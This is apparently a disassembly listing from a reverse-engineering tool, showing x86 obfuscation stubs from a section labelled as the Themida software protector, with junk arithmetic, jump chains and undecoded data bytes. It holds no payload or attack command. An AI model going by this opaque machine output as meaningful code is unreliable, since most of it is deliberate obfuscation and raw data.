		jmp	loc_55AA79
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 241C8700h, 0A03BE95Ch,	0E95DFFFFh, 0EC8h, 0A8ABF57h
		dd 0D7F70C20h, 7E88EF81h, 0FD29DD4Fh, 8CBE565Fh, 9098D73h
		dd 0ED835EF5h, 41CD8701h, 161AE9h, 0EF816600h, 0F7660B62h
		dd 0F78166DFh, 89662EBBh, 2434FFFBh, 4C4835Fh, 21F38166h
		dd 0DE8966EBh, 0F101665Bh, 31665E66h, 0FF80E9C8h, 66ACFFFFh
		dd 0DA30E951h, 3489FFFFh, 27AEBE24h, 0DEF73944h, 3B08E9h
		dd 66F73000h, 0E9CFFE5Ah, 2659h, 2507C281h, 3CE92683h
		dd 68000004h, 5714h, 54241489h,	8324148Bh, 0C28104C4h
		dd 4, 0FFD8D7E9h, 55E681FFh, 0E971723Bh, 0FFFFB52Bh
; ---------------------------------------------------------------------------

loc_558E0C:				; CODE XREF: Themida_:00557FDEj
		push	dword ptr [ecx]
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 301E61F2h
		add	[esp+4], eax
		pop	eax
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_558D43
; ---------------------------------------------------------------------------

loc_558E3F:				; CODE XREF: Themida_:00558123j
		dec	dword ptr [esp]
		pushf
		jmp	loc_55A264
; ---------------------------------------------------------------------------
		dd 8704C483h, 665C240Ch, 0E9240C8Bh, 1783h, 2E44C181h
		dd 0E949365Fh, 9A3h
; ---------------------------------------------------------------------------

loc_558E64:				; CODE XREF: Themida_:005594D1j
		add	esi, 1C710C5Ah
		jmp	loc_55B542
; ---------------------------------------------------------------------------

loc_558E6F:				; CODE XREF: Themida_:00552686j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55495C
; ---------------------------------------------------------------------------

loc_558E89:				; CODE XREF: Themida_:0055258Fj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	487Fh
		mov	[esp], eax
		push	7C60h
		mov	[esp], edi
		mov	edi, 44BB56FFh
		jmp	loc_556F86
; ---------------------------------------------------------------------------
		dd 700768h, 240C8900h, 24B9h, 9298E900h, 8B66FFFFh, 0EC812404h
		dd 4, 54241489h, 0FFD9C2E9h, 5E5C1FFh, 2A42E581h, 0E9530DE7h
		dd 13B1h, 8904EC83h, 0C1E92414h, 52FFFF97h, 0E123EBBAh
		dd 3219E930h, 0EE810000h, 6FDFA8C9h, 685EF201h,	2FF5h
		dd 2FD0E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55342F
; ---------------------------------------------------------------------------

loc_558F2F:				; CODE XREF: Themida_:00557947j
		push	edx
		mov	edx, 249726C6h
		sub	ebx, edx
		pop	edx
		add	ebx, 3F46397Fh
		sub	ebx, 2302165Eh
		xor	eax, ebx
		pop	ebx
		mov	ecx, eax
		jmp	loc_556024
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFB2C3h, 8104E7C1h, 446623EFh, 0D7EF811Ch, 0E9494AAAh
		dd 2CAFh, 68243C89h, 2,	8FC2815Fh, 1274138h, 8FEA81FAh
		dd 5F274138h, 0E9241487h, 0FFFFBEFDh, 405E089h,	5000000h
		dd 4, 5C240487h, 0B6AFE952h, 6855FFFFh,	3ED4h, 83242489h
		dd 8B042404h, 0C483242Ch, 0E638E904h, 67BEFFFFh, 574B1F1Ch
		dd 332C09BFh, 4E7C14Bh,	1B44E94Fh, 0CB810000h, 52E24150h
		dd 8108E3C1h, 0D04D2CE3h, 0FEE38110h, 0E96A130Fh, 31F1h
		dd 0FF837FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558FE9:				; CODE XREF: Themida_:00554384j
		pop	ebp
		push	edi
		jmp	loc_5587A7
; ---------------------------------------------------------------------------
		dd 0FF8373E9h, 4BAFFh, 54010000h, 8B5A0424h, 0C483240Ch
		dd 3AEAE904h, 81490000h, 499948C1h, 59CE890Ch, 8101EE83h
		dd 0CA65DEF6h, 0E9F2010Eh, 228Ah, 250BA52h, 0D6293D60h
		dd 241C8B5Ah, 0E904C483h, 0FFFF9B57h, 0BF57F029h, 4CCE5548h
		dd 36CEF81h, 0F829D67Dh, 83243C8Bh, 34FF04C4h, 0C4835E24h
		dd 0FDB95104h, 81560B13h, 51362EE9h, 2C6DE972h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559066:				; CODE XREF: Themida_:0055BE15j
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_55CB1E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0D8BF5700h, 8705886Eh,	0D78742D7h, 2E9EE9h, 75E6BB00h
		dd 0D7E90981h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559093:				; CODE XREF: Themida_:0055BC3Fj
		push	ecx
		mov	ecx, 566E4B1Bh
		jmp	loc_551C30
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 323F139Ah, 814BD3F7h, 0B47B53C3h, 8A71E93Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5590B2:				; CODE XREF: Themida_:0055434Cj
		pop	edx
		jmp	loc_5545DF
; ---------------------------------------------------------------------------

loc_5590B8:				; CODE XREF: Themida_:00559722j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55D114
; ---------------------------------------------------------------------------

loc_5590C5:				; CODE XREF: Themida_:0055251Dj
		and	ecx, eax
		mov	eax, [esp]
		push	7D64h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5572CF
; ---------------------------------------------------------------------------
		dw 0F300h
		dd 661AC380h, 5BDD085Ah, 20B25266h, 78E9D508h, 0ADFFFFC7h
		dd 0EC81D831h, 4, 51242C89h, 0FFEDBAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559109:				; CODE XREF: Themida_:00552253j
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		jmp	loc_556C95
; ---------------------------------------------------------------------------
		dw 0D8F6h
		dd 407E8C0h, 58C20052h,	0FF88C4E9h, 4C483FFh, 59EDF581h
		dd 814D36C9h, 8B8103EDh, 8BEA295Fh, 0C481242Ch,	4, 148BD001h
		dd 4C48324h, 1FF1C381h,	0EB813CEAh, 8EA5652h, 0C381C301h
		dd 8EA5652h, 8BAE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55916A:				; CODE XREF: Themida_:0055A571j
		mov	esi, 1B435AC4h
		xor	esi, 0F575CF6h
		add	esi, 0FE6B3491h
		mov	ecx, esi
		jmp	loc_552C09
; ---------------------------------------------------------------------------
		dd offset loc_424968
		dw 8900h
		dd 0E9562404h, 2E8Ah, 168h, 2434FF00h, 5D2434FFh, 5204C483h
		dd 0C281E289h, 4, 4C281h, 0CFE90000h, 0FF000035h, 669D1C77h
		dd 14D36659h, 0A5E99C24h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5591C3:				; CODE XREF: Themida_:0055A4B9j
		add	al, ch
		jmp	loc_558199
; ---------------------------------------------------------------------------

loc_5591CA:				; CODE XREF: Themida_:00555846j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7BA56528h
		and	ebx, 44D4F33h
		sub	ebx, 122F178Ah
		sub	ebx, 0E4DBBFAEh
		add	eax, ebx
		jmp	loc_559C79
; ---------------------------------------------------------------------------

loc_5591F1:				; CODE XREF: Themida_:0055C2CDj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_553864
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 3239h, 0E9242C89h, 0FFFFE1F0h, 0C240481h
		dd 0E93B1D4Bh, 0FFFF982Ch, 0EBE9D1F7h, 5BFFFFEDh, 0F1E9FA01h
		dd 0FF000003h, 669D1C77h, 24041858h, 0FDAAE99Ch, 0F681FFFFh
		dd 0F14330h, 815EF389h,	0A50E24E3h, 0E3814B75h,	105E731Ch
		dd 0FFD799E9h, 2434FFFFh, 1F94E9h
		db 0
; ---------------------------------------------------------------------------

loc_55925D:				; CODE XREF: Themida_:00555B07j
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55988F
; ---------------------------------------------------------------------------

loc_559280:				; CODE XREF: Themida_:0055A48Dj
		add	ecx, eax
		pop	eax
		push	edi
		jmp	loc_55660E
; ---------------------------------------------------------------------------

loc_559289:				; CODE XREF: Themida_:00553BFBj
		add	edx, 4
		jmp	loc_559C59
; ---------------------------------------------------------------------------
		dd 4246C81h, 72B26797h,	4245C01h, 4244481h, 72B26797h
		dd 83241C8Bh, 34FF04C4h, 0C4835924h, 0A48DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5592BA:				; CODE XREF: Themida_:0055C2A9j
		sub	ecx, 37E54A47h
		xor	ecx, 77490203h
		add	ecx, 0ED1CEE7Dh
		mov	esi, ecx
		pop	ecx
		mov	ebx, esi
		jmp	loc_55793C
; ---------------------------------------------------------------------------

loc_5592D6:				; CODE XREF: Themida_:0055B86Ej
		mov	[esp], edx
		push	38A45AC1h
		jmp	loc_553F00
; ---------------------------------------------------------------------------
		db 55h
		dd 425443BDh, 0C9ED8119h, 68537342h, 0
		dd 0E9242C29h, 1441h, 4C381h, 16E90000h, 5BFFFFECh, 592434FFh
		dd 4C481h, 0EB810000h, 71D8269Dh, 1D6168h, 24148900h, 82508FBAh
		dd 0F7D2F76Bh, 4EAC1D2h, 451F281h, 0EB81017Eh, 573C0B6Bh
		dd 0C381D301h, 573C0B6Bh, 40B5E9h, 0C8B6600h, 59545124h
		dd 614ABD55h, 0ED810717h, 62B26733h, 5EDC581h, 0BF575B9Bh
		dd 3663F8Dh, 13DFEF81h,	0EF8179C9h, 4A746E68h, 8683EF81h
		dd 0F9293678h, 16B7E9h,	57E58900h, 4BFh, 5FFD0100h, 4C581h
		dd 2C870000h, 0EB815C24h, 7C62159h, 0FFAA9AE9h,	66F9F6FFh
		dd 66CCB60Fh, 66302B68h, 66240C89h, 66C8B60Fh, 0B1E99C51h
		dd 1FFFF7Fh, 0C6815BDEh, 4, 2474FF56h, 48F5E04h, 24248B24h
		dd 0FFF63AE9h, 5CEB80FFh, 23A3E9h, 242C8900h, 0FFD4E1E9h
		dd 24048FFFh, 4240481h,	5B000000h, 0FF92A3E9h, 0EB8166FFh
		dd 81666D4Bh, 664D9AEBh, 0C301665Ah, 0A12E9h
		db 0
; ---------------------------------------------------------------------------

loc_559405:				; CODE XREF: Themida_:0055D265j
		add	edx, 20662A73h
		jmp	loc_556032
; ---------------------------------------------------------------------------
		dd 53243489h, 0B37622BBh, 0B823BE58h, 0C681CA3Bh, 3E5852FBh
		dd 0FAE9DE29h, 0BEFFFFBBh, 3DFD6E0Ah, 3052E9h, 0CB805900h
		dd 37F38020h, 5391F380h, 0EB800DB3h, 8BD800C1h,	0C481241Ch
		dd 4, 0D828B204h, 0B2B75366h, 0F828532Ch, 0FFD7B8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559461:				; CODE XREF: Themida_:00554943j
		mov	dl, 0E1h
		xor	dl, 82h
		sub	dl, 0F9h
		sub	dl, 5Fh
		jmp	loc_559480
; ---------------------------------------------------------------------------
		db 66h,	53h, 0B3h
		dd 1A36E94Ch, 0E95C0000h, 0FFFFFB70h
; ---------------------------------------------------------------------------

loc_559480:				; CODE XREF: Themida_:0055946Cj
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_553110
; ---------------------------------------------------------------------------
		dd 0C2815A54h, 4, 2B368h, 242C8900h, 6BC7BB53h,	0BB533628h
		dd 36286BCBh, 295BDD89h, 0EA015BDDh, 2414335Dh,	33241431h
		dd 248B2414h, 8B545624h, 89562434h, 0B2FFE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5594CE:				; CODE XREF: Themida_:00553CF8j
		shr	esi, 1
		inc	esi
		jmp	loc_558E64
; ---------------------------------------------------------------------------

loc_5594D6:				; CODE XREF: Themida_:0055BB66j
		push	ebp
		mov	ebp, 4
		sub	ebx, 4FFB7235h
		jmp	loc_556445
; ---------------------------------------------------------------------------
		db 80h
		dd 0AEE967C3h, 58000002h, 97ADE957h, 0D8B4FFFFh, 0F6B65266h
		dd 5A66F420h, 0C087EC80h, 0C48003ECh, 0D85CE955h, 22BAFFFFh
		dd 0F712D944h, 0B0B1E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55951A:				; CODE XREF: Themida_:0055BB84j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5519DF
; ---------------------------------------------------------------------------
		dd 0FF7E3BE9h, 4C481FFh, 0E9000000h, 338Ah
; ---------------------------------------------------------------------------

loc_559538:				; CODE XREF: Themida_:00558AACj
		mov	esi, 19EA7664h
		sub	esi, 27133548h
		push	ebp
		jmp	loc_552B05
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0C1h
		dd 0B85003E6h, 320F361Ah, 0FF9510E9h, 4C281FFh,	53000000h
		dd 1A068h, 24348900h, 32C9E9h
		db 0
; ---------------------------------------------------------------------------

loc_55956D:				; CODE XREF: Themida_:00558272j
		add	ebp, 4
		jmp	loc_558110
; ---------------------------------------------------------------------------
		db 0B8h, 64h, 7
		dd 0E0E97086h, 66FFFF88h, 831BE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559586:				; CODE XREF: Themida_:0055B83Dj
		neg	ebp
		push	edx
		mov	edx, 32B708C6h
		add	ebp, edx
		jmp	loc_55A09F
; ---------------------------------------------------------------------------
		db 68h,	34h, 78h
		dd 2C890000h, 36FBE924h, 0E9560000h, 0FFFFFA0Eh, 700EB951h
		dd 31E939A9h, 89000039h, 0E389241Ch, 4B850h, 0E0E90000h
		dd 68000033h, 0E8Dh, 0E9241489h, 0FFFF7D98h, 4247C01h
		dd 0E9243C8Bh, 0FFFFC26Fh, 6A2EED81h, 0D5F7687Eh, 12A2ED81h
		dd 0A768AB40h, 0E9000079h, 452h, 0E959CB89h, 1CC6h, 520DBF57h
		dd 0CF816C09h, 2D9E5F5Ch, 253AEF81h, 0AAE948A7h, 28FFFFC8h
		dd 0E99C2404h, 0FFFF7D4Ch, 67B7C281h, 3C8B0A75h, 4C48124h
		dd 33000000h, 84E92414h, 5CFFFF89h, 4C481h, 3C330000h
		dd 243C3124h, 0E9243C33h, 0FFFFEDE4h
; ---------------------------------------------------------------------------

loc_559648:				; CODE XREF: Themida_:0055510Dj
		mov	edx, 371E652Eh
		xor	ebx, edx
		jmp	loc_55214F
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 2DEBh, 805BD988h, 3768D2F1h, 8900007Fh
		dd 39B22414h, 305AD128h, 78E959CEh
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559677:				; CODE XREF: Themida_:00551886j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55BCDB
; ---------------------------------------------------------------------------
		dd 8159EA28h, 2ECh, 1C896600h, 26B324h,	45B66DAh, 2CD028DDh
		dd 54575ADDh, 4C7815Fh,	83000000h, 3C3302EFh, 243C3124h
		dd 0E9243C33h, 0FFFFAA51h, 88D1E955h, 0EFC1FFFFh, 55DFF706h
		dd 7E6966BDh, 1FCD8133h, 0E9139B04h, 3E2Ch, 81242C8Bh
		dd 4C4h, 8BD00100h, 0F4E92414h,	0FF00000Ch, 0E9592434h
		dd 0FFFFD707h
; ---------------------------------------------------------------------------

loc_5596EC:				; CODE XREF: Themida_:00557801j
		xor	edx, 27B87DBEh
		xor	edx, 7CBC133Eh
		mov	ebp, edx
		pop	edx
		add	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_551368
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 30FF665Ah, 0FF7C47E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559721:				; CODE XREF: Themida_:0055C0C7j
		push	edi
		jmp	loc_5590B8
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF7C3BE9h, 0E9CF00FFh, 0FFFF938Bh, 4C481h, 0BD550000h
		dd 2DA85455h, 0FFD498E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559745:				; CODE XREF: Themida_:0055B574j
		pop	edx
		pop	ecx
		push	6675h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55666C
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 0E904C683h, 0FFFF94CDh, 7325CF81h, 0F7814C38h, 7F7C7F29h
		dd 5B71792Dh, 57F80152h, 7B1E59BFh, 0C1D7F761h,	0F78104E7h
		dd 0BA156B19h, 3C8BF801h, 4C48324h, 0FF8881E9h,	0D83059FFh
		dd 0E9241C8Bh, 0FFFF83CDh, 159C801h, 0D8BB53D0h, 29274809h
		dd 0DC89E9D8h, 0D9F7FFFFh, 8108E9C1h, 0DD0223F1h, 59CE014Bh
		dd 159FBB53h, 7E978B0h,	6800003Dh, 4086h, 52241C89h, 0FFD627E9h
		dd 74C781FFh, 160AA95h,	0BA525FFBh, 27733ADDh, 0C281EAD1h
		dd 19EEB6E7h, 0FFFF19E9h, 875D59FFh, 0D1E9243Ch, 81FFFFEEh
		dd 7AA1AFF1h, 59CE01CFh, 4C681h, 34870000h, 2EDBE924h
		dd 2C810000h, 197B2224h, 0E72CE929h, 335CFFFFh,	5BE9241Ch
		dd 68000026h, 5052h, 50242C89h,	0E038E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559842:				; CODE XREF: Themida_:0055997Cj
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5515E8
; ---------------------------------------------------------------------------

loc_55984C:				; CODE XREF: Themida_:0055664Dj
		mov	ecx, 1CF34B7Ch
		add	ecx, 1
		shr	ecx, 7
		sub	ecx, 39E692h
		add	edx, 2FDE07A1h
		add	edx, ecx
		sub	edx, 2FDE07A1h
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_559E4C
; ---------------------------------------------------------------------------
		db 89h
		dd 2EE92424h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559883:				; CODE XREF: Themida_:0055C13Fj
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_551C8A
; ---------------------------------------------------------------------------

loc_55988F:				; CODE XREF: Themida_:0055927Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5519AE
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 2
		dd 1C30E681h, 0BB536698h, 0A0C9DA0h, 315BDE31h,	2434FFF0h
		dd 8124348Bh, 4C4h, 4C48100h, 51000000h, 0FFAF34E9h, 1BE95CFFh
		dd 56FFFFD2h, 0C0E9E689h, 8B00001Ch, 4DE9242Ch,	81FFFFFEh
		dd 0D75ABAC5h, 7CC5816Ah, 0E95CF972h, 0FFFF853Fh, 6824048Bh
		dd 254Eh, 89241489h, 4C281E2h, 81000000h, 4C2h,	24148700h
		dd 2414335Ch, 33241431h, 665C2414h, 2404B30Fh, 7A3EE99Ch
		dd 0BB53FFFFh, 2, 875BDA01h, 248B2414h,	89666424h, 7A26E902h
		dd 21E9FFFFh, 5CFFFF7Ah, 0C8B60F66h, 74BA6866h,	240C8966h
		dd 0FF7A0FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559959:				; CODE XREF: Themida_:0055697Bj
		mov	edi, 33147003h
		push	ecx
		mov	ecx, 0B6237B8h
		jmp	loc_55CBDF
; ---------------------------------------------------------------------------

loc_559969:				; CODE XREF: Themida_:00552FEAj
		mov	edx, eax
		jmp	loc_555636
; ---------------------------------------------------------------------------

loc_559970:				; CODE XREF: Themida_:00551B13j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	3A9Ah
		jmp	loc_559842
; ---------------------------------------------------------------------------

loc_559981:				; CODE XREF: Themida_:00559D39j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55BD21
; ---------------------------------------------------------------------------
		dw 0E0C0h
		dd 24D8F604h, 0FE42346Bh, 30CF34C0h, 0C9FE58C1h, 8843C180h
		dd 240C8BCAh, 8804C483h, 0D045AD0h, 1FE9AD04h, 89FFFF8Dh
		dd 0BE562404h, 5CD906A1h, 0FFD8AAE9h, 240433FFh, 401665Ch
		dd 8DE99C24h, 8BFFFFD4h, 0FFE92424h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5599D7:				; CODE XREF: Themida_:005568F1j
		push	eax
		mov	eax, 575A5173h
		push	479Ah
		mov	[esp], esi
		mov	esi, 74F7D84h
		jmp	loc_554145
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9448D68h, 0FFFF9EB5h
; ---------------------------------------------------------------------------

loc_5599F8:				; CODE XREF: Themida_:0055A9D2j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_55CCD5
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0E953D831h, 0FFFF93ADh, 7287CD81h, 0D5F77380h, 0E903E5C1h
		dd 0FFFFBB03h, 0C181E189h, 4, 4BA52h, 0D1290000h, 0DBDBE95Ah
		dd 835DFFFFh, 895302C1h, 1EF0E9E3h, 2C890000h, 0FDD0E924h
		dd 54F6FFFFh, 805A0124h, 0F430E9C6h, 8ECC05Ah, 80BAF480h
		dd 0E20063EAh, 6663C280h, 8324048Bh, 94E902C4h,	31FFFFD2h
		dd 29685BD8h, 89000002h, 7068242Ch, 5D72134Ch, 0DA621205h
		dd 35BB2D34h, 0E82911DAh, 0DA35BB05h, 0E3895311h, 4C381h
		dd 0EB810000h, 4, 0E9241C87h, 0FFFF7AD7h
; ---------------------------------------------------------------------------

loc_559AAC:				; CODE XREF: Themida_:00555AC7j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 0C5h
		add	bl, 0DFh
		jmp	loc_551A81
; ---------------------------------------------------------------------------
		dd 5E55B4BDh, 21BE5671h, 816A4918h, 732EAFEEh, 0E681467Fh
		dd 249915CEh, 6646C681h, 0BB5349D8h, 1EE22A1Fh,	0E95BDE21h
		dd 0FFFF8FB1h, 2C15BF57h, 0DFF7515Bh, 0FFFCE8E9h, 0C1DDF7FFh
		dd 0E5C104EDh, 0ABED8105h, 298FBBC7h, 0D9315DEBh, 58C9815Bh
		dd 81223231h, 885EB2C1h, 8B5D5102h, 0C483240Ch,	59C58104h
		dd 684CB67Bh, 49B5h, 0BF243C89h, 3D097223h, 2658C581h
		dd 0FD012D46h, 2658ED81h, 555F2D46h, 0F2242C81h, 593F0360h
		dd 0FFE447E9h, 4BD55FFh, 81000000h, 606667C7h, 51EF291Dh
		dd 0FFA37DE9h, 56E089FFh, 0FFD7F3E9h, 2C483FFh,	0FE5BE180h
		dd 0B0B753C1h, 805BF930h, 0D1F62FF1h, 53FFC180h, 0D7F669B7h
		dd 300AE9h, 0D9885900h,	3804585Bh, 382CC800h, 8B2434FFh
		dd 0C483240Ch, 4C48104h, 68000000h, 71E5h, 0FFA37CE9h
		dd 90685BFFh, 89000029h, 468242Ch, 0E9000000h, 0FFFFC329h
		dd 0E9240C31h, 1C00h
; ---------------------------------------------------------------------------

loc_559BCC:				; CODE XREF: Themida_:0055AFBAj
		mov	dl, 77h
		and	ch, dl
		pop	edx
		add	ch, 18h
		dec	ch
		jmp	loc_557756
; ---------------------------------------------------------------------------

loc_559BDB:				; CODE XREF: Themida_:00551F00j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55CFAA
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 46824h, 1C8B0000h, 4C48324h, 3ABAEE81h, 0EE8130B0h
		dd 6151375Fh, 0FFBF57E9h, 8BD188FFh, 0C4832414h, 12E95804h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559C1B:				; CODE XREF: Themida_:0055C507j
		push	esp
		mov	edx, [esp]
		push	ecx
		jmp	loc_55A752
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFA667h, 3C8BFD89h, 1FC0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559C3A:				; CODE XREF: Themida_:00552753j
		mov	ecx, 1A934976h
		or	ebx, ecx
		pop	ecx
		sub	ebx, 3B64498h
		jmp	loc_553542
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 5
		dd 69A502ECh, 23B8E9h
		db 0
; ---------------------------------------------------------------------------

loc_559C59:				; CODE XREF: Themida_:0055928Fj
		add	edx, 4
		jmp	loc_55ABEA
; ---------------------------------------------------------------------------
		dd 2C8BEA29h, 4C48124h,	68000000h, 49A2h, 2F11E9h
		db 0
; ---------------------------------------------------------------------------

loc_559C79:				; CODE XREF: Themida_:005591ECj
		pop	ebx
		add	ebx, eax
		jmp	loc_5544FB
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0CBh
		dd 0BD307A68h, 19C8F765h, 15FFD01h, 5D04246Ch, 0EC83565Ah
		dd 161E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559C9E:				; CODE XREF: Themida_:00556BF6j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	edx
		jmp	loc_558205
; ---------------------------------------------------------------------------

loc_559CB6:				; CODE XREF: Themida_:00552A1Aj
		or	eax, eax
		jz	loc_55797E
		push	dword ptr [edi+1Ch]
		jmp	loc_55869C
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 0EA81C201h, 5D80283Bh, 595A0A88h, 0FF768BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559CDD:				; CODE XREF: Themida_:00552819j
		push	edx
		jmp	loc_553BF9
; ---------------------------------------------------------------------------

loc_559CE3:				; CODE XREF: Themida_:00556F76j
		mov	bl, 2Bh
		sub	bl, 5Ah
		add	dl, bl
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5531A1
; ---------------------------------------------------------------------------

loc_559CF5:				; CODE XREF: Themida_:005584ADj
		xor	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	34Ch
		jmp	loc_55A1BC
; ---------------------------------------------------------------------------

loc_559D0B:				; CODE XREF: Themida_:00556A60j
		add	ch, dl
		pop	edx
		jmp	loc_552714
; ---------------------------------------------------------------------------

loc_559D13:				; CODE XREF: Themida_:00558983j
		mov	[esp], ebx
		add	dword ptr [esp], 32C35FBEh
		pop	eax
		push	esi
		jmp	loc_55AC30
; ---------------------------------------------------------------------------
		dd 405h, 24048700h, 0FFAC4AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559D31:				; CODE XREF: Themida_:00552226j
		xchg	edx, [esp]
		mov	esp, [esp]
		and	ecx, eax
		jmp	loc_559981
; ---------------------------------------------------------------------------

loc_559D3E:				; CODE XREF: Themida_:00553B99j
		sub	ecx, ebp
		pop	ebp
		add	ecx, 4F473AEEh
		jmp	loc_552615
; ---------------------------------------------------------------------------
		dd 0EC835266h, 24048904h, 2B3454B0h, 0FE07E0C0h, 0A528E9C8h
		dd 1E9FFFFh, 0FFFFFF76h, 835B2434h, 0C38104C4h,	4, 2BF57h
		dd 0FB290000h, 241C875Fh, 6624248Bh, 66241C89h,	660002BBh
		dd 2244481h, 0B6E96771h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559D97:				; CODE XREF: Themida_:00555710j
		xchg	esi, [esp]
		pop	esp
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4

loc_559DA3:				; CODE XREF: Themida_:00557B05j
		push	edx
		jmp	loc_5524B1
; ---------------------------------------------------------------------------

loc_559DA9:				; CODE XREF: Themida_:0055C7F7j
		and	ecx, 4745017h
		add	ecx, 390D6A87h
		sub	ecx, 0FF0D8AD2h
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5572F1
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF91BCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559DCD:				; CODE XREF: Themida_:00552C54j
		push	edx
		push	6255093h
		jmp	loc_552453
; ---------------------------------------------------------------------------
		dd 4C0835Eh, 31240433h,	4332404h, 0EC815C24h, 4, 0FFF5E8E9h
		dd 58C501FFh, 2C581h, 59E90000h, 89FFFFC5h, 0C0E9241Ch
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559E07:				; CODE XREF: Themida_:0055C00Cj
		push	eax
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55885B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E921BB68h, 5E4h, 0FF2434FFh, 815F2434h, 4C4h, 0FDE95300h
